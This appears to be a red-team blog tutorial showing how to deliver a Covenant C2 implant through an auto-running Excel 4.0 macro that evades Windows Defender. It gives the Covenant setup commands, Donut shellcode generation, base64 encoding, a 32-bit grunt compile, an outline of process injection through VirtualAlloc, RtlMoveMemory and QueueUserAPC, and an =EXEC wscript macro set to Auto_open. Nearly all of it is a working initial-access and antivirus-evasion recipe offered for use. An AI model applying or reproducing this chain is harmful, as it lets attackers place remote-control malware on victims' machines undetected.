Using Covenant and Excel 4.0 Macros to Bypass Windows Defender

This methodology is a simple but effective way to bypass current windows defender using excel 4.0 macros. (and possibly some EDRs 😉 ) I’ve deliberately avoided obfuscation as much as possible in this macro to make it simple to follow but still bypass windows defender (most of the malicious activity occurs in a JS file which is downloaded and run by excel via wscript)

As always, credits due to the creators of all the tools and techniques mentioned here.

Covenant Installation & Setup

So the first thing which needs to happen is the installation of Covenant. I recommend following the instructions listed on the product page here however i also placed what i used below for the lazy.

## Run as Root
wget -O packages-microsoft-prod.deb
dpkg -i packages-microsoft-prod.deb
apt-get update
apt-get install -y apt-transport-https
apt-get install -y dotnet-sdk-3.1
git clone --recurse-submodules
cd Covenant/Covenant
dotnet build
dotnet run

Now Covenant is installed and running its time to actually use it. Point your web browser to and follow the instructions to create a user account.

Now we need to create a listener to listen for incoming connections from Grunts, which are the equivalent of Beacons on Cobalt Strike.

My listener configuration is below, You should configure your connection address to your own IP address. You should also notice that i’m not using SSL, in an engagement you should configure SSL.

My Listener Config, Note I’m listening on Port 80

Now you should generate a Launcher. For this Excel 4.0 Macro I’ve generated a Binary and downloaded it.

To do this navigate to Launchers then Binary, there you can generate and download one.

Once you have your Binary you should transfer it to a Windows Machine with AV Disabled. Run your binary with AV disabled to ensure that everything is working. You should see something similar to the screenshot below, Note that your process will be different it should be the name of your executable.

Getting The Shellcode

This next step involves Donut, which is available on Linux however i have a windows machine to compile windows based software, so in this guide it done via that machine. I’ve found its useful to have a windows machine with AV disabled for troubleshooting and to make it easy to compile software. Having this test windows machine is also useful to generate the 32bit version of the binary if you require it.

Since AV is disabled you can just download Donut from the releases section located here.

The example Below will use Donut and generate a 64 Bit shellcode payload which we will use later to inject into a process.

./donut.exe -a2 -f1 'C:\Users\Someguy\Downloads\grunt\grunt.exe' -o grunt.bin

## These Two Commands will Give you the Base64 output from your shellcode
$filename = "C:\Users\Someguy\Downloads\donut_v0.9.3\grunt.bin"
[convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip

Note that the instructions above only included 64bit shellcode, if you are just testing this on 64bit office that is all you need to get this to work.

If you would also like to inject into a 32bit process e.g 32bit office then you need to manually compile a 32Bit covenant grunt. If you don’t need 32bit shellcode just skip this step.

Under Launchers < Binarys you should see a section along the top that says code

Copy this code and paste it into whatever IDE you like and save it as covenant32bit.cs

Then do the following

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 
.\csc.exe -platform:x86 -out:covenant.exe C:\Users\Someguy\Documents\covenant32bit.cs

You can ignore the compile errors it should still run correctly, you can easily check by executing the binary (note in the -out in the example the binary is saved into the current working directory so it can be executed with


When you create the shellcode for this binary using donut you need to run the following

./donut.exe -a1 -f1 'C:\Users\Someguy\Downloads\grunt\covenant32.exe' -o grunt32.bin

Running the Shellcode From the Macro

So now we should have a working C2 framework along with our base64 encoded shellcode. We now need to inject this shellcode into a process. Outflank has a great post on process injection using excel 4.0 macros here which is a must read.

Now you’ve read that we can use some javascript from that article hosted here

It essentially uses excel 4.0 macros to make the following windows API calls to inject the code into the excel process.

virtualAlloc - To allocate memory within the excel process
RTLMoveMemory - To Copy the shellcode into the allocation
QueueUserAPC - executes the shellcode through an asynchronous procedure call

The only editing required is to replace the strings


Remember that if you are only using 64Bit office you can just replace the encodedPayload64 string and just leave the other one as is.

Before we move onto creating the macro we should check that the javascript works with wscript. Run the below command and check that it connects ok. You should have a grunt connection, This will take around a minute to connect, its slower than using a standard grunt executable.

wscript C:\Users\Someguy\somejscript.js

To create the Excel macro you need to do the following

right click on the sheet and select insert as shown below.

select MS Excel 4.0 Macro.

I’ve kept this simple just to show the excel 4.0 macro process, i’ll leave the obfuscation as an exercise for the user.

add the following lines to the excel sheet

=EXEC("wscript.exe C:\Users\Public\Documents\jscript.js")

Note that Cell A1 has been renamed to Auto_open which can be seen in the top left corner, you need to do this for auto execution upon enabling content on the excel document.

Now once you enable content and run this macro it will bypass windows defender and give you C2 on a host. (including some hosts with EDR) 😮

I will also be posting another article which shows utilising custom covenant tasks to do further actions on the endpoint, including process injection into different processes e.g explorer.exe while remaining undetected by defender